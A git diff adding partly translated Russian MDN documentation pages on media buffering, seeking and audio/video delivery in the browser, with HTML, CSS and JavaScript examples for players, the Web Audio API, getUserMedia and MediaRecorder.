+        var startX = myAudio.buffered.start(i) * inc;
+        var endX = myAudio.buffered.end(i) * inc;
+        var width = endX - startX;
+
+        context.fillRect(startX, 0, width, myCanvas.height);
+        context.rect(startX, 0, width, myCanvas.height);
+        context.stroke();
+      }
+    });
+  }</pre>
+
+<p><span id="result_box" lang="ru"><span>Это наглядно работает с длинными фрагментами аудио или видео. Нажмите кнопку воспроизведения и нажмите на панели прогресса и вы должны получить что-то вроде того, что показано на картинке ниже.</span> </span>Each red filled white rectangle represents a time range.</p>
+
+<p><img alt="A simple audio player with play button, seek bar and volume control, with a series of red rectangles beneath it representing time ranges." src="https://mdn.mozillademos.org/files/7347/bufferedtimeranges.png" style="" title="[https://mdn.mozillademos.org] A simple audio player with play button, seek bar and volume control, with a series of red rectangles beneath it representing time ranges."></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the <a href="http://jsbin.com/memazaro/1/edit">timerange code running live on JS Bin</a>.</p>
+</div>
+
+<h2 id="Seekable">Seekable</h2>
+
+<p>The <code>seekable</code> attribute returns a {{ domxref("TimeRanges") }} object and tells us which parts of the media can be played without delay; this is irrespective of whether that part has been downloaded or not. Some parts of the media may be seekable but not buffered if byte-range requests are enabled on the server. Byte range requests allow parts of the media file to be delivered from the server and so can be ready to play almost immediately — thus they are seekable.</p>
+
+<pre class="brush: js">var seekableTimeRanges = myAudio.seekable;</pre>
+
+<h2 id="Создание_собственной_буферизации">Создание собственной буферизации</h2>
+
+<p>If we wish to create our own custom player, we may want to provide feedback on how much of the media is ready to be played. In practice a good way to do this is use the <code>seekable</code> attribute, although as we have seen above seekable parts of the media are not neccessarily contiguous — they often are however and we can safely approximate this information to give the user an indication of which parts of the media can be played directly. We can find this point in the media using the following line of code:</p>
+
+<pre class="brush: js">var seekableEnd = myAudio.seekable.end(myAudio.seekable.length - 1);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>myAudio.seekable.end(myAudio.seekable.length - 1)</code> actually tells us the end point of the last time range that is seekable (not all seekable media). In practice this is good enough as the browser either enables range requests or it doesn't. If it doesn't then <code>audio.seekable</code> will be equivalent to <code>audio.buffered</code>, which will give a valid indication of the end of seekable media. If range requests are enabled this value usually becomes the duration of the media almost instantly.</p>
+</div>
+
+<p>It is better perhaps to give an indication of how much media has actually downloaded — this what the browser's native players seem to display.</p>
+
+<p>Итак, давайте реализуем это. HTML для нашего плеера выглядит так:</p>
+
+<pre class="brush: css">&lt;audio id="my-audio" preload controls&gt;
+  &lt;source src="music.mp3" type="audio/mpeg"&gt;
+&lt;/audio&gt;
+&lt;div class="buffered"&gt;
+  &lt;span id="buffered-amount"&gt;&lt;/span&gt;
+&lt;/div&gt;
+&lt;div class="progress"&gt;
+  &lt;span id="progress-amount"&gt;&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Мы будем использовать следующий CSS для стилизации отображения буферизации:</p>
+
+<pre class="brush: css">.buffered {
+  height: 20px;
+  position: relative;
+  background: #555;
+  width: 300px;
+}
+
+#buffered-amount {
+  display: block;
+  height: 100%;
+  background-color: #777;
+  width: 0;
+}
+
+.progress {
+  margin-top: -20px;
+  height: 20px;
+  position: relative;
+  width: 300px;
+}
+
+#progress-amount {
+  display: block;
+  height: 100%;
+  background-color: #595;
+  width: 0;
+}</pre>
+
+<p>И следующий JavaScript реализует нашу функциональность:</p>
+
+<pre class="brush: js">window.onload = function(){
+
+  var myAudio = document.getElementById('my-audio');
+
+  myAudio.addEventListener('progress', function() {
+    var duration =  myAudio.duration;
+    if (duration &gt; 0) {
+      for (var i = 0; i &lt; myAudio.buffered.length; i++) {
+            if (myAudio.buffered.start(myAudio.buffered.length - 1 - i) &lt; myAudio.currentTime) {
+                document.getElementById("buffered-amount").style.width = (myAudio.buffered.end(myAudio.buffered.length - 1 - i) / duration) * 100 + "%";
+                break;
+            }
+        }
+    }
+  });
+
+  myAudio.addEventListener('timeupdate', function() {
+    var duration =  myAudio.duration;
+    if (duration &gt; 0) {
+      document.getElementById('progress-amount').style.width = ((myAudio.currentTime / duration)*100) + "%";
+    }
+  });
+}</pre>
+
+<p>The progress event is fired as data is downloaded, this is a good event to react to if we want to display download or buffering progress.</p>
+
+<p>The timeupdate event is fired 4 times a second as the media plays and that's where we increment our playing progress bar.</p>
+
+<p>This should give you results similar to the following, where the light grey bar represents the buffered progress and green bar shows the played progress:</p>
+
+<p><img alt="A simple audio player with play button, seek bar and volume control, with a bar below it. The bar has a red portion to show played video, and a dark gray bar to show how much has been buffered." src="https://mdn.mozillademos.org/files/7349/bufferedprogress.png" style="" title="[https://mdn.mozillademos.org] A simple audio player with play button, seek bar and volume control, with a bar below it. The bar has a red portion to show played video, and a dark gray bar to show how much has been buffered."></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the <a href="http://jsbin.com/badimipi/1/edit">buffering code running live on JS Bin</a>.</p>
+</div>
+
+<h2 id="Пару_слов_о_Played">Пару слов о Played</h2>
+
+<p>Надо заметить, что есть свойство <code>played</code>, сообщающее, были ли воспроизведены интервалы полностью. Пример:</p>
+
+<pre class="brush: js">var played = audio.played; // вернет объект TimeRanges</pre>
+
+<p>Если просуммировать все интервалы <code>audio.played</code>, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.</p>
diff --git a/files/ru/web/guide/audio_and_video_delivery/index.html b/files/ru/web/guide/audio_and_video_delivery/index.html
new file mode 100644
index 0000000000..d93c18ebbc
--- /dev/null
+++ b/files/ru/web/guide/audio_and_video_delivery/index.html
@@ -0,0 +1,554 @@
+---
+title: Доставка аудио и видео контента
+slug: Web/Guide/Audio_and_video_delivery
+tags:
+  - Audio
+  - HTML5
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Video
+translation_of: Web/Guide/Audio_and_video_delivery
+---
+<div class="summary">
+<p>Мы можем доставлять аудио и видео контент различными способами. Это могут быть как статичные медиа файлы, так и потоковые данные. Эта статья является отправной точкой в изучении различных механизмов доставки медиа ресурсов и совместимости работы с популярными браузерами.</p>
+</div>
+
+<h2 id="Аудио_и_видео_элементы">Аудио и видео элементы</h2>
+
+<p>Whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's {{ htmlelement("audio")}} and {{ htmlelement("video")}} elements remains pretty much the same. Currently, to support all browsers we need to specify two formats, although with the adoption of MP3 and MP4 formats in Firefox and Opera, this is changing fast. You can find compatibility information in the following places:</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Audio_Codec_Support">Audio Codec Compatibility Table</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility">Audio/Video Codec Compatibility Table</a></li>
+</ul>
+
+<p>To deliver video and audio, the general workflow is usually something like this:</p>
+
+<ol>
+ <li>Check what format the browser supports via feature detection (usually a choice of two, as stated above.)</li>
+ <li>If the browser doesn't support playback of any of the provided formats natively, provide a fallback (such as a Flash movie.)</li>
+ <li>Identify how you want to play/instantiate the media (e.g. a {{ htmlelement("video") }} element, or <code>document.createElement('video')</code> perhaps?)</li>
+ <li>Deliver the media file to the player.</li>
+</ol>
+
+<h3 id="HTML_Audio">HTML Audio</h3>
+
+<pre class="brush: html">&lt;audio controls preload="auto"&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+
+  &lt;!-- fallback for browsers that don't suppport mp3 --&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+
+  &lt;!-- fallback for browsers that don't support audio tag --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+&lt;/audio&gt;</pre>
+
+<p>The code above will create an audio player that attempts to preload as much audio as possible for smooth playback.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The preload attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#HTML5_audio_in_detail">Cross Browser Audio Basics (HTML5 Audio In Detail)</a></p>
+
+<h3 id="HTML_Video">HTML Video</h3>
+
+<pre class="brush: html">&lt;video controls width="640" height="480" poster="initialimage.png" autoplay muted&gt;
+  &lt;source src="videofile.mp4" type="video/mp4"&gt;
+
+  &lt;!-- fallback for browsers that don't suppport mp4 --&gt;
+  &lt;source src="videofile.webm" type="video/webm"&gt;
+
+  &lt;!-- specifying subtitle files --&gt;
+  &lt;track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English"&gt;
+  &lt;track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="Norwegian"&gt;
+
+  &lt;!-- fallback for browsers that don't support video tag --&gt;
+  &lt;a href="videofile.mp4"&gt;download video&lt;/a&gt;
+&lt;/video&gt;</pre>
+
+<p>The code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played. We instruct the video to autoplay but to be muted by default.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The autoplay attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/video">&lt;video&gt; element</a> and <a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a>.</p>
+
+<h3 id="Audio_and_Video_Fallback">Audio and Video Fallback</h3>
+
+<p>You can create a more comprehensive Fallback using Flash. <a href="https://github.com/johndyer/mediaelement/blob/master/build/flashmediaelement.swf">Using flashmediaelement.swf</a> is one way.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+  &lt;!-- fallback for non supporting browsers goes here --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+  &lt;object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"&gt;
+    &lt;param name="movie" value="flashmediaelement.swf" /&gt;
+    &lt;param name="flashvars" value="controls=true&amp;isvideo=false&amp;file=audiofile.mp3" /&gt;
+  &lt;/object&gt;
+&lt;/audio&gt;</pre>
+
+<p>The process is very similar with video — just remember to set <code>isvideo=true</code> in the <code>flashvars value</code> parameters.<br>
+ <br>
+ <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Fallbacks">More options for Fallbacks</a>.</p>
+
+<h3 id="JavaScript_Audio">JavaScript Audio</h3>
+
+<pre class="brush: js">var myAudio = document.createElement('audio');
+
+if (myAudio.canPlayType('audio/mpeg')) {
+  myAudio.setAttribute('src','audiofile.mp3');
+} else if (myAudio.canPlayType('audio/ogg')) {
+  myAudio.setAttribute('src','audiofile.ogg');
+}
+
+myAudio.currentTime = 5;
+myAudio.play();</pre>
+
+<p>We set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 seconds in and attempt to play it.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Play will be ignored by some mobile browsers unless issued by a user-initiated event.</p>
+</div>
+
+<p>It's also possible to feed an {{ htmlelement("audio") }} element a base64 encoded WAV file, allowing to generate audio on the fly:</p>
+
+<pre class="brush: html">&lt;audio id="player" src="data:audio/x-wav;base64,UklGRvC..."&gt;&lt;/audio&gt;</pre>
+
+<p><a href="https://github.com/kripken/speak.js/">Speak.js</a> employs this technique. <a href="http://speak-demo.herokuapp.com">Try the demo</a>.</p>
+
+<h3 id="JavaScript_Video">JavaScript Video</h3>
+
+<pre class="brush: js">var myVideo = document.createElement('video');
+
+if (myVideo.canPlayType('video/mp4')) {
+  myVideo.setAttribute('src','videofile.mp4');
+} else if (myVideo.canPlayType('video/webm')) {
+  myVideo.setAttribute('src','videofile.webm');
+}
+
+myVideo.width = 480;
+myVideo.height = 320;</pre>
+
+<p>We set the source of the video depending on the type of video file the browser supports we then set the width and height of the video.</p>
+
+<h2 id="Web_Audio_API">Web Audio API</h2>
+
+<pre class="brush: js">  var context;
+  var request;
+  var source;
+
+  try {
+    context = new AudioContext();
+    request = new XMLHttpRequest();
+    request.open("GET","http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",true);
+    request.responseType = "arraybuffer";
+
+    request.onload = function() {
+      context.decodeAudioData(request.response, function(buffer) {
+        source = context.createBufferSource();
+        source.buffer = buffer;
+        source.connect(context.destination);
+        // auto play
+        source.start(0); // start was previously noteOn
+      });
+    };
+
+    request.send();
+
+  } catch(e) {
+    alert('web audio api not supported');
+  }</pre>
+
+<p>In this example we retrieve an MP3 file via XHR, load it into a source and play it (<a href="http://jsbin.com/facutone/1/edit?js">Try it for yourself</a>). Find more about Web Audio API basics in <a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a>.</p>
+
+<h2 id="getUserMedia_Stream_API">getUserMedia / Stream API</h2>
+
+<p>It's also possible to retrieve a live stream from a webcam and/or microphone using <code>getUserMedia</code> and the Stream API. This makes up part of a wider technology known as WebRTC (Web Real-Time Communications) and is compatible with the latest versions of Chrome, Firefox and Opera.</p>
+
+<p>To grab the stream from your webcam, first set up a {{htmlelement("video")}} element:</p>
+
+<pre class="brush: html">&lt;video id="webcam" width="480" height="360"&gt;&lt;/video&gt;</pre>
+
+<p>Next, if supported connect the webcam source to the video element:</p>
+
+<pre class="brush: js">if (navigator.mediaDevices) {
+  navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+  .then(function onSuccess(stream) {
+    var video = document.getElementById('webcam');
+    video.autoplay = true;
+    video.srcObject = stream;
+  })
+  .catch(function onError() {
+    alert('There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?');
+  });
+} else {
+  alert('getUserMedia is not supported in this browser.');
+}
+</pre>
+
+<p>To find out more, read our {{domxref("MediaDevices.getUserMedia")}} page.</p>
+
+<h2 id="Mediastream_Recording">Mediastream Recording</h2>
+
+<p>New standards are being rolled out to allow your browser to grab media from your mic or camera using <code>getUserMedia</code> and record it instantly using the new MediaRecorder API. You take the stream you receive from <code>getUserMedia</code>, pass it to a <code>MediaRecorder</code> object, take the resulting output and feed it to your audio or video source*.<br>
+ <br>
+ The main mechanism is outlined below:</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia({audio:true})
+  .then(function onSuccess(stream) {
+    var recorder = new MediaRecorder(stream);
+
+    var data = [];
+    recorder.ondataavailable = function(e) {
+      data.push(e.data);
+    };
+    recorder.start();
+    recorder.onerror = function(e) {
+      throw e.error || new Error(e.name); // e.name is FF non-spec
+    }
+    recorder.onstop = function(e) {
+      var audio = document.createElement('audio');
+      audio.src = window.URL.createObjectURL(new Blob(data));
+    }
+    setTimeout(function() {
+      rec.stop();
+    }, 5000);
+  })
+  .catch(function onError(error) {
+    console.log(error.message);
+  });
+</pre>
+
+<p>See <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> for more details.</p>
+
+<h2 id="Media_Source_Extensions_(MSE)">Media Source Extensions (MSE)</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> is a W3C working draft that plans to extend {{domxref("HTMLMediaElement")}} to allow JavaScript to generate media streams for playback. Allowing JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams.</p>
+
+<h3 id="Encrypted_Media_Extensions_(EME)">Encrypted Media Extensions (EME)</h3>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html">Encrypted Media Extensions</a> is a W3C proposal to extend <code>HTMLMediaElement</code>, providing APIs to control playback of protected content.<br>
+ <br>
+ The API supports use cases ranging from simple clear key decryption to high value video (given an appropriate user agent implementation). License/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies.<br>
+ <br>
+ One of the principle uses of EME is to allow browsers to implement DRM (<a href="http://en.wikipedia.org/wiki/Digital_rights_management">Digital Rights Management</a>), which helps to prevent web-based content (especially video) from being copied.</p>
+
+<h3 id="Adaptive_Streaming">Adaptive Streaming</h3>
+
+<p>New formats and protocols are being rolled out to facilitate adaptive streaming. Adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. Adaptive streaming is often used in conjunction with live streaming where smooth delivery of audio or video is paramount.</p>
+
+<p>The main formats used for adaptive streaming are <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#HLS">HLS</a> and <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#MPEG-DASH">MPEG-DASH</a>. MSE has been designed with DASH in mind. MSE defines byte streams according to <a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/isobmff-byte-stream-format.html">ISOBMFF</a> and <a href="http://en.wikipedia.org/wiki/M2ts">M2TS</a> (both supported in DASH, the latter supported in HLS). Generally speaking, if you are interested in standards, are looking for flexibility, or wish to support most modern browsers, you are probably better off with DASH.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Currently Safari does not support DASH although dash.js will work on newer versions of Safari scheduled for release with OSX Yosemite.</p>
+</div>
+
+<p>DASH also provides a number of profiles including simple onDemand profiles that no preprocessing and splitting up of media files. There are also a number of cloud based services that will convert your media to both HLS and DASH.<br>
+ <br>
+ For further information see <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a>.</p>
+
+<ul>
+</ul>
+
+<h2 id="Customising_Your_Media_Player">Customising Your Media Player</h2>
+
+<p>You may decide that you want your audio or video player to have a consistent look across browsers, or just wish to tweak it to match your site. The general technique for achieving this is to omit the <code>controls</code> attribute so that the default browser controls are not displayed, create custom controls using HTML and CSS, then use JavaScript to link your controls to the audio/video API.</p>
+
+<p>If you need something extra, it's possible to add features that are not currently present in default players, such as playback rate, quality stream switches or even audio spectrums. You can also choose how to make your player responsive — for example you might remove the progress bar under certain conditions.</p>
+
+<p>You may detect click, touch and/or keyboard events to trigger actions such as play, pause and scrubbing. It's often important to remember keyboard controls for user convenience and accessibility.</p>
+
+<p>A quick example — first set up your audio and custom controls in HTML:</p>
+
+<pre class="brush: html">  &lt;audio id="my-audio" src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"&gt;&lt;/audio&gt;
+  &lt;button id="my-control"&gt;play&lt;/button&gt;</pre>
+
+<p>add a bit of JavaScript to detect events to play and pause the audio:</p>
+
+<pre class="brush: js">window.onload = function() {
+
+  var myAudio = document.getElementById('my-audio');
+  var myControl = document.getElementById('my-control');
+
+  function switchState() {
+    if (myAudio.paused == true) {
+      myAudio.play();
+      myControl.innerHTML = "pause";
+    } else {
+      myAudio.pause();
+      myControl.innerHTML = "play";
+    }
+  }
+
+  function checkKey(e) {
+    if (e.keycode == 32 ) { //spacebar
+      switchState();
+    }
+  }
+
+  myControl.addEventListener('click', function() {
+    switchState();
+  }, false);
+
+  window.addEventListener( "keypress", checkKey, false );
+}</pre>
+
+<p>You can <a href="http://jsbin.com/jujeladu/2/edit">try this example out here</a>. For more information, see <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Creating_your_own_custom_audio_player">Creating your own custom audio player</a>.</p>
+
+<h2 id="Other_tips_for_audiovideo">Other tips for audio/video</h2>
+
+<h3 id="Stopping_the_download_of_media">Stopping the download of media</h3>
+
+<p>While stopping the playback of media is as easy as calling the element's <code>pause()</code> method, the browser keeps downloading the media until the media element is disposed of through garbage collection.</p>
+
+<p>Here's a trick that stops the download at once:</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector("#myMediaElementID");
+mediaElement.<code>removeAttribute("src");</code>
+mediaElement.<code>load();</code>
+</pre>
+
+<p>By removing the media element's <code>src</code> attribute and invoking the load() method, you release the resources associated with the video, which stops the network download. You must call <code>load()</code> after removing the attribute, because just removing the <code>src</code> attribute does not invoke the load algorithm. If the <code>&lt;video&gt;</code> element also has <code>&lt;source&gt;</code> element descendants, those should also be removed before calling <code>load()</code>.</p>
+
+<p>Note that just setting the <code>src</code> attribute to an empty string will actually cause the browser to treat it as though you're setting a video source to a relative path. This causes the browser to attempt another download to something that is unlikely to be a valid video.</p>
+
+<h3 id="Seeking_through_media">Seeking through media</h3>
+
+<p>Media elements provide support for moving the current playback position to specific points in the media's content. This is done by setting the value of the <code>currentTime</code> property on the element; see {{ domxref("HTMLMediaElement") }} for further details on the element's properties. Simply set the value to the time, in seconds, at which you want playback to continue.</p>
+
+<p>You can use the element's <code>seekable</code> property to determine the ranges of the media that are currently available for seeking to. This returns a {{ domxref("TimeRanges") }} object listing the ranges of times that you can seek to.</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector('#mediaElementID');
+mediaElement.seekable.start(0);  // Returns the starting time (in seconds)
+mediaElement.seekable.end(0);    // Returns the ending time (in seconds)
+mediaElement.currentTime = 122; // Seek to 122 seconds
+mediaElement.played.end(0);      // Returns the number of seconds the browser has played
+</pre>
+
+<h3 id="Specifying_playback_range">Specifying playback range</h3>
+
+<p>When specifying the URI of media for an {{ HTMLElement("audio") }} or {{ HTMLElement("video") }} element, you can optionally include additional information to specify the portion of the media to play. To do this, append a hash mark ("#") followed by the media fragment description.</p>
+
+<p>A time range is specified using the syntax:</p>
+
+<pre>#t=[starttime][,endtime]</pre>
+
+<p>The time can be specified as a number of seconds (as a floating-point value) or as an hours/minutes/seconds time separated with colons (such as 2:05:01 for 2 hours, 5 minutes, and 1 second).</p>
+
+<p>A few examples:</p>
+
+<dl>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=10,20</span></dt>
+ <dd>Specifies that the video should play the range 10 seconds through 20 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,10.5</span></dt>
+ <dd>Specifies that the video should play from the beginning through 10.5 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,02:00:00</span></dt>
+ <dd>Specifies that the video should play from the beginning through two hours.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=60</span></dt>
+ <dd>Specifies that the video should start playing at 60 seconds and play through the end of the video.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: The playback range portion of the media element URI specification was added to Gecko 9.0 {{ geckoRelease("9.0") }}. At this time, this is the only part of the <a class="external" href="http://www.w3.org/TR/media-frags/" title="http://www.w3.org/TR/media-frags/">Media Fragments URI specification</a> implemented by Gecko, and it can only be used when specifying the source for media elements, and not in the address bar.</p>
+</div>
+
+<h2 id="Error_handling">Error handling</h2>
+
+<p>Starting in Gecko 2.0 {{ geckoRelease("2.0") }}, error handling has been revised to match the latest version of the HTML5 specification. Instead of the <code>error</code> event being dispatched to the media element itself, it now gets delivered to the child {{ HTMLElement("source") }} elements corresponding to the sources resulting in the error.</p>
+
+<p>This lets you detect which sources failed to load, which may be useful. Consider this HTML:</p>
+
+<pre class="brush: html">&lt;video&gt;
+&lt;source id="mp4_src"
+  src="video.mp4"
+  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'&gt;
+&lt;/source&gt;
+&lt;source id="3gp_src"
+  src="video.3gp"
+  type='video/3gpp; codecs="mp4v.20.8, samr"'&gt;
+&lt;/source&gt;
+&lt;source id="ogg_src"
+  src="video.ogv"
+  type='video/ogv; codecs="theora, vorbis"'&gt;
+&lt;/source&gt;
+&lt;/video&gt;</pre>
+
+<p>Since Firefox doesn't support MP4 and 3GP on some platforms due to their patent-encumbered nature, the {{ HTMLElement("source") }} elements with the IDs "mp4_src" and "3gp_src" will receive <code>error</code> events before the Ogg resource is loaded. The sources are tried in the order in which they appear, and once one loads successfully, the remaining sources aren't tried at all.</p>
+
+<h3 id="Checking_whether_the_browser_supports_the_supplied_formats">Checking whether the browser supports the supplied formats</h3>
+
+<p>Use the following verified sources within your audio and video elements to check support.</p>
+
+<ul>
+ <li>Audio MP3 (<code>type="audio/mpeg"</code>): <a href="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3">http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3</a> (<a href="http://jsbin.com/gekatoge/1/edit">play the MP3 audio live</a>.)</li>
+ <li>Audio MP4 (<code>type="audio/mp4"</code>): <a href="http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a">http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a</a> (<a href="http://jsbin.com/gekatoge/2/edit">play the MP4 audio live</a>.)</li>
+ <li>Audio Ogg (<code>type="audio/ogg"</code>): <a href="http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg">http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg</a> (<a href="http://jsbin.com/gekatoge/4/edit">play the OGG audio live</a>.)</li>
+ <li>Video MP4 (<code>type="video/mp4"</code>): <a href="http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v">http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v</a> (<a href="http://jsbin.com/gekatoge/5/edit">play the MP4 video live</a>.)</li>
+ <li>Video WebM (<code>type="video/webm"</code>): <a href="http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm">http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm</a> (<a href="http://jsbin.com/gekatoge/6/edit">play the WebM video live</a>.)</li>
+ <li>Video Ogg (<code>type="video/ogg"</code>): <a href="http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv">http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv</a> (<a href="http://jsbin.com/gekatoge/7/edit">play the OGG video live</a>.)</li>
+</ul>
+
+<p>If these don't play then the browser you are testing doesn't support the given format. Consider using a different format or using a fallback.<br>
+ <br>
+ If these work but the files you are supplying don't, there are two possible issues:</p>
+
+<h4 id="1._The_media_server_is_not_delivering_the_correct_mime_types_with_the_file">1. The media server is not delivering the correct mime types with the file</h4>
+
+<p>Although this is usually supported, you may need to add the following to your media server's <code>.htaccess</code> file.</p>
+
+<pre># AddType TYPE/SUBTYPE EXTENSION
+
+AddType audio/mpeg mp3
+AddType audio/mp4 m4a
+AddType audio/ogg ogg
+AddType audio/ogg oga
+
+AddType video/mp4 mp4
+AddType video/mp4 m4v
+AddType video/ogg ogv
+AddType video/webm webm
+AddType video/webm webmv</pre>
+
+<h4 id="2._Your_files_have_been_encoded_incorrectly">2. Your files have been encoded incorrectly</h4>
+
+<p>Your files may have been encoded incorrectly — try encoding using one of the following tools, which are proven to be pretty reliable:</p>
+
+<ul>
+ <li><a href="http://audacity.sourceforge.net/">Audacity</a> — Free Audio Editor and Recorder</li>
+ <li><a href="http://www.getmiro.com/">Miro</a> — Free, open-source music and video player</li>
+ <li><a href="http://handbrake.fr/">Handbrake</a> — Open Source Video Transcoder</li>
+ <li><a href="http://firefogg.org/">Firefogg</a> — Video and Audio encoding for Firefox</li>
+ <li><a href="https://www.ffmpeg.org/">FFmpeg2</a> — Comprehensive command line encoder</li>
+ <li><a href="https://libav.org/">Libav</a> — Comprehensive command line encoder</li>
+ <li><a href="http://m.vid.ly/">Vid.ly</a> — Video player,transcoding and delivery</li>
+ <li><a href="https://archive.org/">Internet Archive</a> — Free transcoding and storage</li>
+</ul>
+
+<h3 id="Detecting_when_no_sources_have_loaded">Detecting when no sources have loaded</h3>
+
+<p>To detect that all child {{ HTMLElement("source") }} elements have failed to load, check the value of the media element's <code>networkState</code> attribute. If this is <code>HTMLMediaElement.NETWORK_NO_SOURCE</code>, you know that all the sources failed to load.</p>
+
+<p>If at that point you add another source, by inserting a new {{ HTMLElement("source") }} element as a child of the media element, Gecko attempts to load the specified resource.</p>
+
+<h3 id="Showing_fallback_content_when_no_source_could_be_decoded">Showing fallback content when no source could be decoded</h3>
+
+<p>Another way to show the fallback content of a video, when none of the sources could be decoded in the current browser, is to add an error handler on the last source element. Then you can replace the video with its fallback content:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="dynamicsearch.mp4" type="video/mp4"&gt;&lt;/source&gt;
+  &lt;a href="dynamicsearch.mp4"&gt;
+    &lt;img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS"&gt;
+  &lt;/a&gt;
+  &lt;p&gt;Click image to play a video demo of dynamic app search&lt;/p&gt;
+&lt;/video&gt;
+
+</pre>
+
+<pre class="brush: js">var v = document.querySelector('video'),
+    sources = v.querySelectorAll('source'),
+    lastsource = sources[sources.length-1];
+lastsource.addEventListener('error', function(ev) {
+  var d = document.createElement('div');
+  d.innerHTML = v.innerHTML;
+  v.parentNode.replaceChild(d, v);
+}, false);
+</pre>
+
+<h2 id="AudioVideo_JavaScript_Libraries">Audio/Video JavaScript Libraries</h2>
+
+<p>A number of audio and video JavaScript libaries exist. The most popular libraries allow you to choose a consistent player design over all browsers and provide a fallback for browsers that don't support audio and video natively. Fallbacks often use Adobe Flash or Microsoft Silverlight plugins. Other functionality such as the track element for subtitles can also be provided through media libraries.</p>
+
+<h3 id="Audio_only">Audio only</h3>
+
+<ul>
+ <li><a href="http://www.schillmania.com/projects/soundmanager2/">SoundManager</a></li>
+</ul>
+
+<h3 id="Video_only">Video only</h3>
+
+<ul>
+ <li><a href="https://flowplayer.org/">flowplayer</a>: Gratis with a flowplayer logo watermark. Open source (GPL licensed.)</li>
+ <li><a href="http://www.jwplayer.com">JWPlayer</a>: Requires registration to download. Open Source Edition (Creative Commons License.)</li>
+ <li><a href="http://www.sublimevideo.net/">SublimeVideo</a>: Requires registration. Form based set up with domain specific link to CDN hosted library.</li>
+ <li><a href="http://www.videojs.com/">Video.js</a>: Gratis and Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h3 id="Audio_and_Video">Audio and Video</h3>
+
+<ul>
+ <li><a href="http://jPlayer.org">jPlayer</a>: Gratis and Open Source (MIT Licensed.)</li>
+ <li><a href="http://mediaelementjs.com/">mediaelement.js</a>: Gratis and Open Source (MIT Licensed.)</li>
+</ul>
+
+<h3 id="Web_Audio_API_2">Web Audio API</h3>
+
+<ul>
